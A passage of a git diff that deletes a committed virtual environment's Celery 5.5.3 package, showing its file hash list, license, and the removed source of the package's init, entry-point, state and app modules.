-celery/utils/annotations.py,sha256=04zURyjqjDIeLp6ui_I_HdC259Ww6UVAZLmAiUjR3vQ,2084 -celery/utils/collections.py,sha256=KsRWWGePZQelCUHMEvA_pVexh6HpZo1Y1JfCG-rM1f8,25432 -celery/utils/debug.py,sha256=9g5U0NlTvlP9OFwjxfyXgihfzD-Kk_fcy7QDjhkqapw,4709 -celery/utils/deprecated.py,sha256=4asPe222TWJh8mcL53Ob6Y7XROPgqv23nCR-EUHJoBo,3620 -celery/utils/dispatch/__init__.py,sha256=s0_ZpvFWXw1cecEue1vj-MpOPQUPE41g5s-YsjnX6mo,74 -celery/utils/dispatch/__pycache__/__init__.cpython-311.pyc,, -celery/utils/dispatch/__pycache__/signal.cpython-311.pyc,, -celery/utils/dispatch/signal.py,sha256=P1feenrOM5u9OtWV-MCIZTNgjglRJMBH2MgrxHuZ2Bg,13859 -celery/utils/functional.py,sha256=TimJEByjq8NtocfSwfEUHoic6G5kCYim3Cl_V84Nnyk,12017 -celery/utils/graph.py,sha256=oP25YXsQfND-VwF-MGolOGX0GbReIzVc9SJfIP1rUIc,9041 -celery/utils/imports.py,sha256=K02ZiqLZwGVCYEMnjdIilkuq7n4EnqzFArN6yqEBbC0,5126 -celery/utils/iso8601.py,sha256=0T7k3yiD4AfnUs9GsE2jMk-mDIn5d5011GS0kleUrVo,2916 -celery/utils/log.py,sha256=QCdpoulAOKEZ9TeGRFdrJhbOzLYyhLYcoZd3LUYwUuI,8756 -celery/utils/nodenames.py,sha256=t1qv6YYEkFfGg4j3dvz1IyzvTzV66NZNygSWVhOokiY,3163 -celery/utils/objects.py,sha256=NZ_Nx0ehrJut91sruAI2kVGyjhaDQR_ntTmF9Om_SI8,4215 -celery/utils/quorum_queues.py,sha256=HVc01iGI8-g4Esuc6h5hI__JelZLX9ZEKmLsmWsMMEs,705 -celery/utils/saferepr.py,sha256=_5DeQi5UuvPLVEJPpPS-EwtHoISgHYxeKO0NwQ4GGL0,9022 -celery/utils/serialization.py,sha256=5e1Blvm8GtkNn3LoDObRN9THJRRVVgmp4OFt0eh1AJM,8209 -celery/utils/static/__init__.py,sha256=KwDq8hA-Xd721HldwJJ34ExwrIEyngEoSIzeAnqc5CA,299 -celery/utils/static/__pycache__/__init__.cpython-311.pyc,, -celery/utils/static/celery_128.png,sha256=8NmZxCALQPp3KVOsOPfJVaNLvwwLYqiS5ViOc6x0SGU,2556 -celery/utils/sysinfo.py,sha256=TbRElxGr1HWDhZB3gvFVJXb2NKFX48RDLFDRqFx26VI,1264 -celery/utils/term.py,sha256=UejfpiJxJd8Lu-wgcsuo_u_01xhmvw6d8sSkXMdk-Ek,5209 -celery/utils/text.py,sha256=e9d5mDgGmyG6xc7PKfmFVnGoGj9DAocJ13uTSZ4Xyqw,5844 -celery/utils/threads.py,sha256=_SVLpXSiQQNd2INSaMNC2rGFZHjNDs-lV-NnlWLLz1k,9552 -celery/utils/time.py,sha256=phv7idn7QgGUJedtlBzuRqdKj_b5bruBrv4cfUcmioI,15770 -celery/utils/timer2.py,sha256=hwSESQR33EzeqWtZbNdpqj7mTbSKKIi5ZvUrv_3Lov4,5541 -celery/worker/__init__.py,sha256=EKUgWOMq_1DfWb-OaAWv4rNLd7gi91aidefMjHMoxzI,95 -celery/worker/__pycache__/__init__.cpython-311.pyc,, -celery/worker/__pycache__/autoscale.cpython-311.pyc,, -celery/worker/__pycache__/components.cpython-311.pyc,, -celery/worker/__pycache__/control.cpython-311.pyc,, -celery/worker/__pycache__/heartbeat.cpython-311.pyc,, -celery/worker/__pycache__/loops.cpython-311.pyc,, -celery/worker/__pycache__/pidbox.cpython-311.pyc,, -celery/worker/__pycache__/request.cpython-311.pyc,, -celery/worker/__pycache__/state.cpython-311.pyc,, -celery/worker/__pycache__/strategy.cpython-311.pyc,, -celery/worker/__pycache__/worker.cpython-311.pyc,, -celery/worker/autoscale.py,sha256=kzb1GTwRyw9DZFjwIvHrcLdJxuIGI8HaHdtvtr31i9A,4593 -celery/worker/components.py,sha256=J5O6vTT82dDUu-2AHV9RfIu4ZCERoVuJYBBXEI7_K3s,7497 -celery/worker/consumer/__init__.py,sha256=yKaGZtBzYKADZMzbSq14_AUYpT4QAY9nRRCf73DDhqc,391 -celery/worker/consumer/__pycache__/__init__.cpython-311.pyc,, -celery/worker/consumer/__pycache__/agent.cpython-311.pyc,, -celery/worker/consumer/__pycache__/connection.cpython-311.pyc,, -celery/worker/consumer/__pycache__/consumer.cpython-311.pyc,, -celery/worker/consumer/__pycache__/control.cpython-311.pyc,, -celery/worker/consumer/__pycache__/delayed_delivery.cpython-311.pyc,, -celery/worker/consumer/__pycache__/events.cpython-311.pyc,, -celery/worker/consumer/__pycache__/gossip.cpython-311.pyc,, -celery/worker/consumer/__pycache__/heart.cpython-311.pyc,, -celery/worker/consumer/__pycache__/mingle.cpython-311.pyc,, -celery/worker/consumer/__pycache__/tasks.cpython-311.pyc,, -celery/worker/consumer/agent.py,sha256=bThS8ZVeuybAyqNe8jmdN6RgaJhDq0llewosGrO85-c,525 -celery/worker/consumer/connection.py,sha256=a7g23wmzevkEiMjjjD8Kt4scihf_NgkpR4gcuksys9M,1026 -celery/worker/consumer/consumer.py,sha256=7lFbFwgbSFGM1Bw-Nj-5NG0ZcC3cIUJRw9ocqyKt-XY,30164 -celery/worker/consumer/control.py,sha256=0NiJ9P-AHdv134mXkgRgU9hfhdJ_P7HKb7z9A4Xqa2Q,946 -celery/worker/consumer/delayed_delivery.py,sha256=OO3OOq6jkaR2W5o_hdRrWqJ82y5kILAt-JdeadmtnjM,8666 -celery/worker/consumer/events.py,sha256=FgDwbV0Jbj9aWPbV3KAUtsXZq4JvZEfrWfnrYgvkMgo,2054 -celery/worker/consumer/gossip.py,sha256=LI8FsUFbNaUQyn600CHcksNbS_jFWzFhgU4fYEt7HhI,6863 -celery/worker/consumer/heart.py,sha256=IenkkliKk6sAk2a1NfYyh-doNDlmFWGRiaJd5e8ALpI,930 -celery/worker/consumer/mingle.py,sha256=TtQDjAcrJLTDOT14v_QPsV8x_LNo7ZFzkL06LaIazd4,2531 -celery/worker/consumer/tasks.py,sha256=H0NDWrE_VP6zGGBXC02uS3Sf0Lx7Rt0NCSLDRRYC5oY,2703 -celery/worker/control.py,sha256=bcVf7t8RjMpHSBc-LlAw3eu-Dn1fdq4B24OVCW5IY5E,19921 -celery/worker/heartbeat.py,sha256=sTV_d0RB9M6zsXIvLZ7VU6teUfX3IK1ITynDpxMS298,2107 -celery/worker/loops.py,sha256=qGlz-rWkmfUQCZ2TYM3Gpc_f2ihCUAuC1ENZeWDutwM,4599 -celery/worker/pidbox.py,sha256=LcQsKDkd8Z93nQxk0SOLulB8GLEfIjPkN-J0pGk7dfM,3630 -celery/worker/request.py,sha256=IHVVP7zJMEPNvFqLKLXR6wJebS3aLmXjzk9KdR9Esaw,27333 -celery/worker/state.py,sha256=_nQgvGeoahKz_TJCx7Tr20kKrNtDgaBA78eA17hA-8s,8583 -celery/worker/strategy.py,sha256=MSznfZXkqD6WZRSaanIRZvg-f41DSAc2WgTVUIljh0c,7324 -celery/worker/worker.py,sha256=ivruJ2WK5JyvF7rLYuuMHfVklifOrrQl71lx6g4WUmM,15755 diff --git a/backend/venv/Lib/site-packages/celery-5.5.3.dist-info/REQUESTED b/backend/venv/Lib/site-packages/celery-5.5.3.dist-info/REQUESTED deleted file mode 100644 index e69de29b..00000000 diff --git a/backend/venv/Lib/site-packages/celery-5.5.3.dist-info/WHEEL b/backend/venv/Lib/site-packages/celery-5.5.3.dist-info/WHEEL deleted file mode 100644 index da097d66..00000000 --- a/backend/venv/Lib/site-packages/celery-5.5.3.dist-info/WHEEL +++ /dev/null @@ -1,5 +0,0 @@ -Wheel-Version: 1.0 -Generator: setuptools (80.4.0) -Root-Is-Purelib: true -Tag: py3-none-any - diff --git a/backend/venv/Lib/site-packages/celery-5.5.3.dist-info/entry_points.txt b/backend/venv/Lib/site-packages/celery-5.5.3.dist-info/entry_points.txt deleted file mode 100644 index a5801496..00000000 --- a/backend/venv/Lib/site-packages/celery-5.5.3.dist-info/entry_points.txt +++ /dev/null @@ -1,2 +0,0 @@ -[console_scripts] -celery = celery.__main__:main diff --git a/backend/venv/Lib/site-packages/celery-5.5.3.dist-info/licenses/LICENSE b/backend/venv/Lib/site-packages/celery-5.5.3.dist-info/licenses/LICENSE deleted file mode 100644 index 93411068..00000000 --- a/backend/venv/Lib/site-packages/celery-5.5.3.dist-info/licenses/LICENSE +++ /dev/null @@ -1,55 +0,0 @@ -Copyright (c) 2017-2026 Asif Saif Uddin, core team & contributors. All rights reserved. -Copyright (c) 2015-2016 Ask Solem & contributors. All rights reserved. -Copyright (c) 2012-2014 GoPivotal, Inc. All rights reserved. -Copyright (c) 2009, 2010, 2011, 2012 Ask Solem, and individual contributors. All rights reserved. - -Celery is licensed under The BSD License (3 Clause, also known as -the new BSD license). The license is an OSI approved Open Source -license and is GPL-compatible(1). - -The license text can also be found here: -http://www.opensource.org/licenses/BSD-3-Clause - -License -======= - -Redistribution and use in source and binary forms, with or without -modification, are permitted provided that the following conditions are met: - * Redistributions of source code must retain the above copyright - notice, this list of conditions and the following disclaimer. - * Redistributions in binary form must reproduce the above copyright - notice, this list of conditions and the following disclaimer in the - documentation and/or other materials provided with the distribution. - * Neither the name of Ask Solem, nor the - names of its contributors may be used to endorse or promote products - derived from this software without specific prior written permission. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" -AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, -THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR -PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL Ask Solem OR CONTRIBUTORS -BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR -CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF -SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS -INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN -CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) -ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE -POSSIBILITY OF SUCH DAMAGE. - -Documentation License -===================== - -The documentation portion of Celery (the rendered contents of the -"docs" directory of a software distribution or checkout) is supplied -under the "Creative Commons Attribution-ShareAlike 4.0 -International" (CC BY-SA 4.0) License as described by -https://creativecommons.org/licenses/by-sa/4.0/ - -Footnotes -========= -(1) A GPL-compatible license makes it possible to - combine Celery with other software that is released - under the GPL, it does not mean that we're distributing - Celery under the GPL license. The BSD license, unlike the GPL, - let you distribute a modified version without making your - changes open source. diff --git a/backend/venv/Lib/site-packages/celery-5.5.3.dist-info/top_level.txt b/backend/venv/Lib/site-packages/celery-5.5.3.dist-info/top_level.txt deleted file mode 100644 index 74f9e8fe..00000000 --- a/backend/venv/Lib/site-packages/celery-5.5.3.dist-info/top_level.txt +++ /dev/null @@ -1 +0,0 @@ -celery diff --git a/backend/venv/Lib/site-packages/celery/__init__.py b/backend/venv/Lib/site-packages/celery/__init__.py deleted file mode 100644 index d291dec8..00000000 --- a/backend/venv/Lib/site-packages/celery/__init__.py +++ /dev/null @@ -1,172 +0,0 @@ -"""Distributed Task Queue.""" -# :copyright: (c) 2017-2026 Asif Saif Uddin, celery core and individual -# contributors, All rights reserved. -# :copyright: (c) 2015-2016 Ask Solem. All rights reserved. -# :copyright: (c) 2012-2014 GoPivotal, Inc., All rights reserved. -# :copyright: (c) 2009 - 2012 Ask Solem and individual contributors, -# All rights reserved. -# :license: BSD (3 Clause), see LICENSE for more details. - -import os -import re -import sys -from collections import namedtuple - -# Lazy loading -from . import local - -SERIES = 'immunity' - -__version__ = '5.5.3' -__author__ = 'Ask Solem' -__contact__ = 'auvipy@gmail.com' -__homepage__ = 'https://docs.celeryq.dev/' -__docformat__ = 'restructuredtext' -__keywords__ = 'task job queue distributed messaging actor' - -# -eof meta- - -__all__ = ( - 'Celery', 'bugreport', 'shared_task', 'Task', - 'current_app', 'current_task', 'maybe_signature', - 'chain', 'chord', 'chunks', 'group', 'signature', - 'xmap', 'xstarmap', 'uuid', -) - -VERSION_BANNER = f'{__version__} ({SERIES})' - -version_info_t = namedtuple('version_info_t', ( - 'major', 'minor', 'micro', 'releaselevel', 'serial', -)) - -# bumpversion can only search for {current_version} -# so we have to parse the version here. -_temp = re.match( - r'(\d+)\.(\d+).(\d+)(.+)?', __version__).groups() -VERSION = version_info = version_info_t( - int(_temp[0]), int(_temp[1]), int(_temp[2]), _temp[3] or '', '') -del _temp -del re - -if os.environ.get('C_IMPDEBUG'): # pragma: no cover - import builtins - - def debug_import(name, locals=None, globals=None, - fromlist=None, level=-1, real_import=builtins.__import__): - glob = globals or getattr(sys, 'emarfteg_'[::-1])(1).f_globals - importer_name = glob and glob.get('__name__') or 'unknown' - print(f'-- {importer_name} imports {name}') - return real_import(name, locals, globals, fromlist, level) - builtins.__import__ = debug_import - -# This is never executed, but tricks static analyzers (PyDev, PyCharm, -# pylint, etc.) into knowing the types of these symbols, and what -# they contain. -STATICA_HACK = True -globals()['kcah_acitats'[::-1].upper()] = False -if STATICA_HACK: # pragma: no cover - from celery._state import current_app, current_task - from celery.app import shared_task - from celery.app.base import Celery - from celery.app.task import Task - from celery.app.utils import bugreport - from celery.canvas import (chain, chord, chunks, group, maybe_signature, signature, subtask, xmap, # noqa - xstarmap) - from celery.utils import uuid - -# Eventlet/gevent patching must happen before importing -# anything else, so these tools must be at top-level. - - -def _find_option_with_arg(argv, short_opts=None, long_opts=None): - """Search argv for options specifying short and longopt alternatives. - - Returns: - str: value for option found - Raises: - KeyError: if option not found. - """ - for i, arg in enumerate(argv): - if arg.startswith('-'): - if long_opts and arg.startswith('--'): - name, sep, val = arg.partition('=') - if name in long_opts: - return val if sep else argv[i + 1] - if short_opts and arg in short_opts: - return argv[i + 1] - raise KeyError('|'.join(short_opts or [] + long_opts or [])) - - -def _patch_eventlet(): - import eventlet.debug - - eventlet.monkey_patch() - blockdetect = float(os.environ.get('EVENTLET_NOBLOCK', 0)) - if blockdetect: - eventlet.debug.hub_blocking_detection(blockdetect, blockdetect) - - -def _patch_gevent(): - import gevent.monkey - import gevent.signal - - gevent.monkey.patch_all() - - -def maybe_patch_concurrency(argv=None, short_opts=None, - long_opts=None, patches=None): - """Apply eventlet/gevent monkeypatches. - - With short and long opt alternatives that specify the command line - option to set the pool, this makes sure that anything that needs - to be patched is completed as early as possible. - (e.g., eventlet/gevent monkey patches). - """ - argv = argv if argv else sys.argv - short_opts = short_opts if short_opts else ['-P'] - long_opts = long_opts if long_opts else ['--pool'] - patches = patches if patches else {'eventlet': _patch_eventlet, - 'gevent': _patch_gevent} - try: - pool = _find_option_with_arg(argv, short_opts, long_opts) - except KeyError: - pass - else: - try: - patcher = patches[pool] - except KeyError: - pass - else: - patcher() - - # set up eventlet/gevent environments ASAP - from celery import concurrency - if pool in concurrency.get_available_pool_names(): - concurrency.get_implementation(pool) - - -# this just creates a new module, that imports stuff on first attribute -# access. This makes the library faster to use. -old_module, new_module = local.recreate_module( # pragma: no cover - __name__, - by_module={ - 'celery.app': ['Celery', 'bugreport', 'shared_task'], - 'celery.app.task': ['Task'], - 'celery._state': ['current_app', 'current_task'], - 'celery.canvas': [ - 'Signature', 'chain', 'chord', 'chunks', 'group', - 'signature', 'maybe_signature', 'subtask', - 'xmap', 'xstarmap', - ], - 'celery.utils': ['uuid'], - }, - __package__='celery', __file__=__file__, - __path__=__path__, __doc__=__doc__, __version__=__version__, - __author__=__author__, __contact__=__contact__, - __homepage__=__homepage__, __docformat__=__docformat__, local=local, - VERSION=VERSION, SERIES=SERIES, VERSION_BANNER=VERSION_BANNER, - version_info_t=version_info_t, - version_info=version_info, - maybe_patch_concurrency=maybe_patch_concurrency, - _find_option_with_arg=_find_option_with_arg, -) diff --git a/backend/venv/Lib/site-packages/celery/__main__.py b/backend/venv/Lib/site-packages/celery/__main__.py deleted file mode 100644 index 8c48d707..00000000 --- a/backend/venv/Lib/site-packages/celery/__main__.py +++ /dev/null @@ -1,19 +0,0 @@ -"""Entry-point for the :program:`celery` umbrella command.""" - -import sys - -from . import maybe_patch_concurrency - -__all__ = ('main',) - - -def main() -> None: - """Entrypoint to the ``celery`` umbrella command.""" - if 'multi' not in sys.argv: - maybe_patch_concurrency() - from celery.bin.celery import main as _main - sys.exit(_main()) - - -if __name__ == '__main__': # pragma: no cover - main() diff --git a/backend/venv/Lib/site-packages/celery/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index bf07af86..00000000 Binary files a/backend/venv/Lib/site-packages/celery/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/__pycache__/__main__.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/__pycache__/__main__.cpython-311.pyc deleted file mode 100644 index e5bf8abb..00000000 Binary files a/backend/venv/Lib/site-packages/celery/__pycache__/__main__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/__pycache__/_state.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/__pycache__/_state.cpython-311.pyc deleted file mode 100644 index ff9ac32d..00000000 Binary files a/backend/venv/Lib/site-packages/celery/__pycache__/_state.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/__pycache__/beat.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/__pycache__/beat.cpython-311.pyc deleted file mode 100644 index 582af266..00000000 Binary files a/backend/venv/Lib/site-packages/celery/__pycache__/beat.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/__pycache__/bootsteps.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/__pycache__/bootsteps.cpython-311.pyc deleted file mode 100644 index bfef5a04..00000000 Binary files a/backend/venv/Lib/site-packages/celery/__pycache__/bootsteps.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/__pycache__/canvas.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/__pycache__/canvas.cpython-311.pyc deleted file mode 100644 index 6633706c..00000000 Binary files a/backend/venv/Lib/site-packages/celery/__pycache__/canvas.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/__pycache__/exceptions.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/__pycache__/exceptions.cpython-311.pyc deleted file mode 100644 index 6aa67845..00000000 Binary files a/backend/venv/Lib/site-packages/celery/__pycache__/exceptions.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/__pycache__/local.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/__pycache__/local.cpython-311.pyc deleted file mode 100644 index 773c5d61..00000000 Binary files a/backend/venv/Lib/site-packages/celery/__pycache__/local.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/__pycache__/platforms.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/__pycache__/platforms.cpython-311.pyc deleted file mode 100644 index 03675e3d..00000000 Binary files a/backend/venv/Lib/site-packages/celery/__pycache__/platforms.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/__pycache__/result.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/__pycache__/result.cpython-311.pyc deleted file mode 100644 index c3ba9c81..00000000 Binary files a/backend/venv/Lib/site-packages/celery/__pycache__/result.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/__pycache__/schedules.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/__pycache__/schedules.cpython-311.pyc deleted file mode 100644 index c78639c5..00000000 Binary files a/backend/venv/Lib/site-packages/celery/__pycache__/schedules.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/__pycache__/signals.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/__pycache__/signals.cpython-311.pyc deleted file mode 100644 index 980eb9a2..00000000 Binary files a/backend/venv/Lib/site-packages/celery/__pycache__/signals.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/__pycache__/states.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/__pycache__/states.cpython-311.pyc deleted file mode 100644 index e6b7c519..00000000 Binary files a/backend/venv/Lib/site-packages/celery/__pycache__/states.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/_state.py b/backend/venv/Lib/site-packages/celery/_state.py deleted file mode 100644 index 5d3ed5fc..00000000 --- a/backend/venv/Lib/site-packages/celery/_state.py +++ /dev/null @@ -1,197 +0,0 @@ -"""Internal state. - -This is an internal module containing thread state -like the ``current_app``, and ``current_task``. - -This module shouldn't be used directly. -""" - -import os -import sys -import threading -import weakref - -from celery.local import Proxy -from celery.utils.threads import LocalStack - -__all__ = ( - 'set_default_app', 'get_current_app', 'get_current_task', - 'get_current_worker_task', 'current_app', 'current_task', - 'connect_on_app_finalize', -) - -#: Global default app used when no current app. -default_app = None - -#: Function returning the app provided or the default app if none. -#: -#: The environment variable :envvar:`CELERY_TRACE_APP` is used to -#: trace app leaks. When enabled an exception is raised if there -#: is no active app. -app_or_default = None - -#: List of all app instances (weakrefs), mustn't be used directly. -_apps = weakref.WeakSet() - -#: Global set of functions to call whenever a new app is finalized. -#: Shared tasks, and built-in tasks are created by adding callbacks here. -_on_app_finalizers = set() - -_task_join_will_block = False - - -def connect_on_app_finalize(callback): - """Connect callback to be called when any app is finalized.""" - _on_app_finalizers.add(callback) - return callback - - -def _announce_app_finalized(app): - callbacks = set(_on_app_finalizers) - for callback in callbacks: - callback(app) - - -def _set_task_join_will_block(blocks): - global _task_join_will_block - _task_join_will_block = blocks - - -def task_join_will_block(): - return _task_join_will_block - - -class _TLS(threading.local): - #: Apps with the :attr:`~celery.app.base.BaseApp.set_as_current` attribute - #: sets this, so it will always contain the last instantiated app, - #: and is the default app returned by :func:`app_or_default`. - current_app = None - - -_tls = _TLS() - -_task_stack = LocalStack() - - -#: Function used to push a task to the thread local stack -#: keeping track of the currently executing task. -#: You must remember to pop the task after. -push_current_task = _task_stack.push - -#: Function used to pop a task from the thread local stack -#: keeping track of the currently executing task. -pop_current_task = _task_stack.pop - - -def set_default_app(app): - """Set default app.""" - global default_app - default_app = app - - -def _get_current_app(): - if default_app is None: - #: creates the global fallback app instance. - from celery.app.base import Celery - set_default_app(Celery( - 'default', fixups=[], set_as_current=False, - loader=os.environ.get('CELERY_LOADER') or 'default', - )) - return _tls.current_app or default_app - - -def _set_current_app(app): - _tls.current_app = app - - -if os.environ.get('C_STRICT_APP'): # pragma: no cover - def get_current_app(): - """Return the current app.""" - raise RuntimeError('USES CURRENT APP') -elif os.environ.get('C_WARN_APP'): # pragma: no cover - def get_current_app(): - import traceback - print('-- USES CURRENT_APP', file=sys.stderr) # + - traceback.print_stack(file=sys.stderr) - return _get_current_app() -else: - get_current_app = _get_current_app - - -def get_current_task(): - """Currently executing task.""" - return _task_stack.top - - -def get_current_worker_task(): - """Currently executing task, that was applied by the worker. - - This is used to differentiate between the actual task - executed by the worker and any task that was called within - a task (using ``task.__call__`` or ``task.apply``) - """ - for task in reversed(_task_stack.stack): - if not task.request.called_directly: - return task - - -#: Proxy to current app. -current_app = Proxy(get_current_app) - -#: Proxy to current task. -current_task = Proxy(get_current_task) - - -def _register_app(app): - _apps.add(app) - - -def _deregister_app(app): - _apps.discard(app) - - -def _get_active_apps(): - return _apps - - -def _app_or_default(app=None): - if app is None: - return get_current_app() - return app - - -def _app_or_default_trace(app=None): # pragma: no cover - from traceback import print_stack - try: - from billiard.process import current_process - except ImportError: - current_process = None - if app is None: - if getattr(_tls, 'current_app', None): - print('-- RETURNING TO CURRENT APP --') # + - print_stack() - return _tls.current_app - if not current_process or current_process()._name == 'MainProcess': - raise Exception('DEFAULT APP') - print('-- RETURNING TO DEFAULT APP --') # + - print_stack() - return default_app - return app - - -def enable_trace(): - """Enable tracing of app instances.""" - global app_or_default - app_or_default = _app_or_default_trace - - -def disable_trace(): - """Disable tracing of app instances.""" - global app_or_default - app_or_default = _app_or_default - - -if os.environ.get('CELERY_TRACE_APP'): # pragma: no cover - enable_trace() -else: - disable_trace() diff --git a/backend/venv/Lib/site-packages/celery/app/__init__.py b/backend/venv/Lib/site-packages/celery/app/__init__.py deleted file mode 100644 index 4a946d93..00000000 --- a/backend/venv/Lib/site-packages/celery/app/__init__.py +++ /dev/null @@ -1,76 +0,0 @@ -"""Celery Application.""" -from celery import _state -from celery._state import app_or_default, disable_trace, enable_trace, pop_current_task, push_current_task -from celery.local import Proxy - -from .base import Celery -from .utils import AppPickler - -__all__ = ( - 'Celery', 'AppPickler', 'app_or_default', 'default_app', - 'bugreport', 'enable_trace', 'disable_trace', 'shared_task', - 'push_current_task', 'pop_current_task', -) - -#: Proxy always returning the app set as default. -default_app = Proxy(lambda: _state.default_app) - - -def bugreport(app=None): - """Return information useful in bug reports.""" - return (app or _state.get_current_app()).bugreport() - - -def shared_task(*args, **kwargs): - """Create shared task (decorator). - - This can be used by library authors to create tasks that'll work - for any app environment. - - Returns: - ~celery.local.Proxy: A proxy that always takes the task from the - current apps task registry. - - Example: - - >>> from celery import Celery, shared_task - >>> @shared_task - ... def add(x, y): - ... return x + y - ... - >>> app1 = Celery(broker='amqp://') - >>> add.app is app1 - True - >>> app2 = Celery(broker='redis://') - >>> add.app is app2 - True - """ - def create_shared_task(**options): - - def __inner(fun): - name = options.get('name') - # Set as shared task so that unfinalized apps, - # and future apps will register a copy of this task. - _state.connect_on_app_finalize( - lambda app: app._task_from_fun(fun, **options) - ) - - # Force all finalized apps to take this task as well. - for app in _state._get_active_apps(): - if app.finalized: - with app._finalize_mutex: - app._task_from_fun(fun, **options) - - # Return a proxy that always gets the task from the current - # apps task registry. - def task_by_cons(): - app = _state.get_current_app() - return app.tasks[ - name or app.gen_task_name(fun.__name__, fun.__module__) - ] - return Proxy(task_by_cons) - return __inner - - if len(args) == 1 and callable(args[0]): - return create_shared_task(**kwargs)(args[0]) - return create_shared_task(*args, **kwargs) diff --git a/backend/venv/Lib/site-packages/celery/app/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/app/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index 8360cdf4..00000000 Binary files a/backend/venv/Lib/site-packages/celery/app/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/app/__pycache__/amqp.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/app/__pycache__/amqp.cpython-311.pyc deleted file mode 100644 index 0a5eeed7..00000000 Binary files a/backend/venv/Lib/site-packages/celery/app/__pycache__/amqp.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/app/__pycache__/annotations.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/app/__pycache__/annotations.cpython-311.pyc deleted file mode 100644 index 30fae728..00000000 Binary files a/backend/venv/Lib/site-packages/celery/app/__pycache__/annotations.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/app/__pycache__/autoretry.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/app/__pycache__/autoretry.cpython-311.pyc deleted file mode 100644 index 9eed522c..00000000 Binary files a/backend/venv/Lib/site-packages/celery/app/__pycache__/autoretry.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/app/__pycache__/backends.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/app/__pycache__/backends.cpython-311.pyc deleted file mode 100644 index 06ebd4db..00000000 Binary files a/backend/venv/Lib/site-packages/celery/app/__pycache__/backends.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/app/__pycache__/base.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/app/__pycache__/base.cpython-311.pyc deleted file mode 100644 index 75918645..00000000 Binary files a/backend/venv/Lib/site-packages/celery/app/__pycache__/base.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/app/__pycache__/builtins.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/app/__pycache__/builtins.cpython-311.pyc deleted file mode 100644 index 9a11ecb0..00000000 Binary files a/backend/venv/Lib/site-packages/celery/app/__pycache__/builtins.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/app/__pycache__/control.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/app/__pycache__/control.cpython-311.pyc deleted file mode 100644 index 132244b4..00000000 Binary files a/backend/venv/Lib/site-packages/celery/app/__pycache__/control.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/app/__pycache__/defaults.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/app/__pycache__/defaults.cpython-311.pyc deleted file mode 100644 index 2f16350f..00000000 Binary files a/backend/venv/Lib/site-packages/celery/app/__pycache__/defaults.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/app/__pycache__/events.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/app/__pycache__/events.cpython-311.pyc deleted file mode 100644 index d2d79392..00000000 Binary files a/backend/venv/Lib/site-packages/celery/app/__pycache__/events.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/app/__pycache__/log.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/app/__pycache__/log.cpython-311.pyc deleted file mode 100644 